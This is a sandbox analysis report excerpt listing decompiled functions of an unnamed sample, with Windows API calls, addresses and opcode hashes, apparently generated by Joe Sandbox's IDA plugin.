Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 16b5c459feed45603af7a279ea01392c4ed472dc223edf8abf5f69718a847d5e
Instruction ID: 652e5198a0e387728d68c86681533cb24ff100fb41b6c50d7ce3f2aff70d0221
Opcode Fuzzy Hash: 16b5c459feed45603af7a279ea01392c4ed472dc223edf8abf5f69718a847d5e
Instruction Fuzzy Hash: 1CF0B475A4531CBBCB01AF51EC0ADAEBF65EB05720F404115FD18561A2DB714E21A7D0

Function 001F784C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 001F788B

Strings

FlsAlloc, xrefs: 001F7867

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 1bfb43c5d1d1965efd6befe89e9c2eaab455df14f377f6df9a7701fcc28e550a
Instruction ID: af756bd1f72cd06ed0346613a199a40ccf77c456c3b7aac805f6600cfc17f82a
Opcode Fuzzy Hash: 1bfb43c5d1d1965efd6befe89e9c2eaab455df14f377f6df9a7701fcc28e550a
Instruction Fuzzy Hash: EEE02075B453187BC304AB20AC0AA2EBBA4CB44B20B400124FD05622D2DEB00A10C2C5

Function 001F1D9A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 001F1DAF

Strings

FlsAlloc, xrefs: 001F1D9E, 001F1DA8

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 4e6b7e73c012e382a27441ebb4332542f6b3d0e051eda0e23c38352abf286266
Instruction ID: b1feb619b124f639795d9603430093778f4584c9ba506680168f26205c891bd7
Opcode Fuzzy Hash: 4e6b7e73c012e382a27441ebb4332542f6b3d0e051eda0e23c38352abf286266
Instruction Fuzzy Hash: 19D05B35B82729B6D71036D5BC06AAABE548B01BF1F440052FF0C651C7D792447095D1

Function 001ECD5C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 001ECD6E

Part of subcall function 001ECABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 001ECB39
Part of subcall function 001ECABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 001ECB4A

Strings

3vo, xrefs: 001ECD5C, 001ECD68

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3vo
API String ID: 1269201914-2837116934
Opcode ID: 0845b4322e2cfc530921320468bd5b1b1452f7fff7fd858aeb8eae734974a99c
Instruction ID: e133f1ee882cf10106e54c8b13c8b5d0c0cc7bba770e4ec4da3b80f2632808c2
Opcode Fuzzy Hash: 0845b4322e2cfc530921320468bd5b1b1452f7fff7fd858aeb8eae734974a99c
Instruction Fuzzy Hash: 62B012C1379741BDB32893469E02C3F011CC0D1F5033044BFF442D40C2B9410C1380B6

Function 001F8618 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 001F81EB: GetOEMCP.KERNEL32(00000000,?,?,001F8474,?), ref: 001F8216

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,001F84B9,?,00000000), ref: 001F868C
GetCPInfo.KERNEL32(00000000,001F84B9,?,?,?,001F84B9,?,00000000), ref: 001F869F

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 6a33ca4966cae8fd4bb07b377e0189a752fda9a11d93696c739705f3b61ac806
Instruction ID: 9917c47fbc21573d3ac600a11c85469cae244e2518a71e460e5033bbd11398a4
Opcode Fuzzy Hash: 6a33ca4966cae8fd4bb07b377e0189a752fda9a11d93696c739705f3b61ac806
Instruction Fuzzy Hash: 3A51347090034D9EDB24EF76C885BBABBE5EF51310F24426ED2868B252DF359946CB90

Function 001D1383 Relevance: 3.1, APIs: 2, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D1383

Part of subcall function 001D5FB1: __EH_prolog.LIBCMT ref: 001D5FB6

Part of subcall function 001DC413: __EH_prolog.LIBCMT ref: 001DC418
Part of subcall function 001DC413: new.LIBCMT ref: 001DC45B
Part of subcall function 001DC413: new.LIBCMT ref: 001DC47F

new.LIBCMT ref: 001D13FB

Part of subcall function 001DAC66: __EH_prolog.LIBCMT ref: 001DAC6B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b15d1317369ff855fe4ae84df1f04b95181acefe913c16a944b4f9b80e336df8
Instruction ID: 7ef98372ed9d510e273a4311f3b09950038219ed33d887a64b1e4468feafc160
Opcode Fuzzy Hash: b15d1317369ff855fe4ae84df1f04b95181acefe913c16a944b4f9b80e336df8
Instruction Fuzzy Hash: 494116B0905B40EED724DF798885AE6FBE5FF28300F504A2ED5EE87282CB326554CB55

Function 001D137E Relevance: 3.1, APIs: 2, Instructions: 94COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D1383

Part of subcall function 001D5FB1: __EH_prolog.LIBCMT ref: 001D5FB6

Part of subcall function 001DC413: __EH_prolog.LIBCMT ref: 001DC418
Part of subcall function 001DC413: new.LIBCMT ref: 001DC45B
Part of subcall function 001DC413: new.LIBCMT ref: 001DC47F

new.LIBCMT ref: 001D13FB

Part of subcall function 001DAC66: __EH_prolog.LIBCMT ref: 001DAC6B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 38de89a29fc18677de00bea2e4311de4eec1caa6e7974e2e4b8b6468d1bb83d6
Instruction ID: 282d106c84e5924cb0031fbb8474a05a0db2eb4514320d2bb28b95f6b2a45518
Opcode Fuzzy Hash: 38de89a29fc18677de00bea2e4311de4eec1caa6e7974e2e4b8b6468d1bb83d6
Instruction Fuzzy Hash: AB4136B0905B409ED724DF798885AE6FBE5FF28300F504A2ED5EE87282CB726554CB51

Function 001F8457 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 001F631F: GetLastError.KERNEL32(?,0020CBE8,001F2674,0020CBE8,?,?,001F2213,?,?,0020CBE8), ref: 001F6323
Part of subcall function 001F631F: _free.LIBCMT ref: 001F6356
Part of subcall function 001F631F: SetLastError.KERNEL32(00000000,?,0020CBE8), ref: 001F6397
Part of subcall function 001F631F: _abort.LIBCMT ref: 001F639D

Part of subcall function 001F8576: _abort.LIBCMT ref: 001F85A8
Part of subcall function 001F8576: _free.LIBCMT ref: 001F85DC

Part of subcall function 001F81EB: GetOEMCP.KERNEL32(00000000,?,?,001F8474,?), ref: 001F8216

_free.LIBCMT ref: 001F84CF
_free.LIBCMT ref: 001F8505

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: ae0440743054abb3a1932de5ac7db599db3a509c71fe0b372c4dfb6a85037b27
Instruction ID: fb4a4c625eaa242972779ba63b2467f53e32dc3ef13960fe53fd2fcb818c1cb8
Opcode Fuzzy Hash: ae0440743054abb3a1932de5ac7db599db3a509c71fe0b372c4dfb6a85037b27
Instruction Fuzzy Hash: 1031B13190460DAFDB20EFA8D445BBDBBF5BF51320F254199E604AB2A2DF319D41CB50

Function 001D94F1 Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,001D9B87,?,?,001D7735), ref: 001D9579
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,001D9B87,?,?,001D7735), ref: 001D95AE

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e6384fbb7cf3a64799bcbae796bf1629aa10451664a15fa38f4f6ad168f4905c
Instruction ID: a5f71df3cbc442e0fad8110fa063b298ca09d0d0c9f6c14b1830b4481877c886
Opcode Fuzzy Hash: e6384fbb7cf3a64799bcbae796bf1629aa10451664a15fa38f4f6ad168f4905c
Instruction Fuzzy Hash: 8A21E4B1404748AFE7318F54D885BA7B7E8EB59364F004A2FF4E682291C374AD49DA61

Function 001D9A12 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,?,001D7436,?,?,?), ref: 001D9A2C
SetFileTime.KERNELBASE(?,?,?,?), ref: 001D9ADC

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: c362605e02e197372889a7bd12dc82d3f4292612caba4ff271a46813cf82fdd8
Instruction ID: b577ccf9eb6015fff8dc2fa7505d6665bec7700711c9477aa6b703610bf036cd
Opcode Fuzzy Hash: c362605e02e197372889a7bd12dc82d3f4292612caba4ff271a46813cf82fdd8
Instruction Fuzzy Hash: DD21E233258385AFC711DF24C881AABBBD8AF96704F48491EF8C5C7281D729ED48C761

Function 001F7735 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 001F7795
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 001F77A2

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 8cfac11d624b49f27da98ac6db9d48596d3792ece0996bb0207f00318a40803c
Instruction ID: e78770e6e01c16624a61f4707efd8f2a84da5ef7f0de57422af20613ed4686e4
Opcode Fuzzy Hash: 8cfac11d624b49f27da98ac6db9d48596d3792ece0996bb0207f00318a40803c
Instruction Fuzzy Hash: 82110637A147299BDB25EE29FC8897A7395AB84720B160320FE14AB2D4DB31EC4197D1

Function 001D9AEB Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 001D9B21
GetLastError.KERNEL32 ref: 001D9B2D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 040c4de756066847fc0e6c33020b7ec193d83a8dc56e045db40c6357ba77f9cd
Instruction ID: 3898b7c421a903b91cb7439f6c9c76679612d1dfba59319edc268234329d66ca
Opcode Fuzzy Hash: 040c4de756066847fc0e6c33020b7ec193d83a8dc56e045db40c6357ba77f9cd
Instruction Fuzzy Hash: DA019EB07057046BEB349F29EC88B6BB7DA9B84319F16463FB152C3780CB31E808C621

Function 001D9897 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?), ref: 001D98EB
GetLastError.KERNEL32 ref: 001D98F8

Part of subcall function 001D96AA: __EH_prolog.LIBCMT ref: 001D96AF

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: 0700c3bc635df56e101bd415f3fee0b06ed668b8a4c1a1683b41496309c66d61
Instruction ID: 26f545a46cb53fccaa6257e59f233df3d5e77708eeab292c53e7413e1c7c9f3b
Opcode Fuzzy Hash: 0700c3bc635df56e101bd415f3fee0b06ed668b8a4c1a1683b41496309c66d61
Instruction Fuzzy Hash: 1501B1326002199BCB1C8E5A9C98AAB7759AF52734715422FF92A8B391D730DC01A760

Function 001F5AEA Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 001F5B0B

Part of subcall function 001F59FC: RtlAllocateHeap.NTDLL(00000000,?,?,?,001F23AA,?,0000015D,?,?,?,?,001F2F29,000000FF,00000000,?,?), ref: 001F5A2E

HeapReAlloc.KERNEL32(00000000,?,00200000,?,?,0020CBE8,001D17A1,?,?,?,?,00000000,?,001D1378,?,?), ref: 001F5B47

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: c7f020b0f5c42c694396f677775e94e25245cd9b94606edfae4a0269153ef84c
Instruction ID: b3a5ba07c67dac812342c5f4dc3dd893265054c74e4a4c444bed5816a6bf6633
Opcode Fuzzy Hash: c7f020b0f5c42c694396f677775e94e25245cd9b94606edfae4a0269153ef84c
Instruction Fuzzy Hash: 2FF09632701E1DAADB362E26AC05F7B375F9F917B1B154115FB18961A2DF30CC0181B1

Function 001DD142 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,?,00000200,?), ref: 001DD187
LoadStringW.USER32(?,?,00000200,?), ref: 001DD19D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: fdf941d22ad7ecb12c274ca324c4cf20d8e2890083db521e524ec900df88a16e
Instruction ID: 43f669196d0cc3b85c9ab49fa158f5f2048517747d97b79579056e1a99e50fc6
Opcode Fuzzy Hash: fdf941d22ad7ecb12c274ca324c4cf20d8e2890083db521e524ec900df88a16e
Instruction Fuzzy Hash: CDF062727113286BEB11AF60BC89F677A59EB15388F110926F98496162D7224C5187E4

Function 001DFCA6 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 001DFCB3
GetProcessAffinityMask.KERNEL32(00000000), ref: 001DFCBA

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 66b6f7a2256d0887e27e014af258c565c2eb094d3b44b56c4076a89e4391e1ee
Instruction ID: 8f5c6cb2c401dbed157f9f611671b5c0dcc934900c46d7b9a9f01bb8653f51cf
Opcode Fuzzy Hash: 66b6f7a2256d0887e27e014af258c565c2eb094d3b44b56c4076a89e4391e1ee
Instruction Fuzzy Hash: 0EE0E572F2020D679B188AA8AC45FEA729DEB44211B24817FAD47D3700FB34DE564650

Function 001DA0C3 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,001D9EF9,?,?,?,001D9D92,?,00000001,00000000,?,?), ref: 001DA0D7
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,001D9EF9,?,?,?,001D9D92,?,00000001,00000000,?,?), ref: 001DA108

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4931dbae956b95ee225f49b00daa4af2fab0695cee0cafb43ed94bbbb7ecee18
Instruction ID: 163d3a57d12dbe7a945bdee765bee4f2838e2b7b0cb9f11174e533bba1f09487
Opcode Fuzzy Hash: 4931dbae956b95ee225f49b00daa4af2fab0695cee0cafb43ed94bbbb7ecee18
Instruction Fuzzy Hash: 4FF0653124020DBBEF119F60EC45BEE776DFF04386F448062BD8896165DB36DE999B90

Function 001EC0D0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 001EC0FE
SetDlgItemTextW.USER32(00000065,?), ref: 001EC115

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: aa3c1264fd5822bd987425e9d2692dfa7a5e5f5fc6173b92059956dbaf8f7a02
Instruction ID: 051d5bb8422aef6733f0b2e9512753eac58c3900be7948764f4d29332c0bcbb3
Opcode Fuzzy Hash: aa3c1264fd5822bd987425e9d2692dfa7a5e5f5fc6173b92059956dbaf8f7a02
Instruction Fuzzy Hash: 71F02732544388ABEB11E7A19C0AF9D3B1DA724341F000046B601920E2D7716A208692

Function 001D9DAC Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,001D9611,?,?,001D946C), ref: 001D9DBD
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,001D9611,?,?,001D946C), ref: 001D9DEB

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
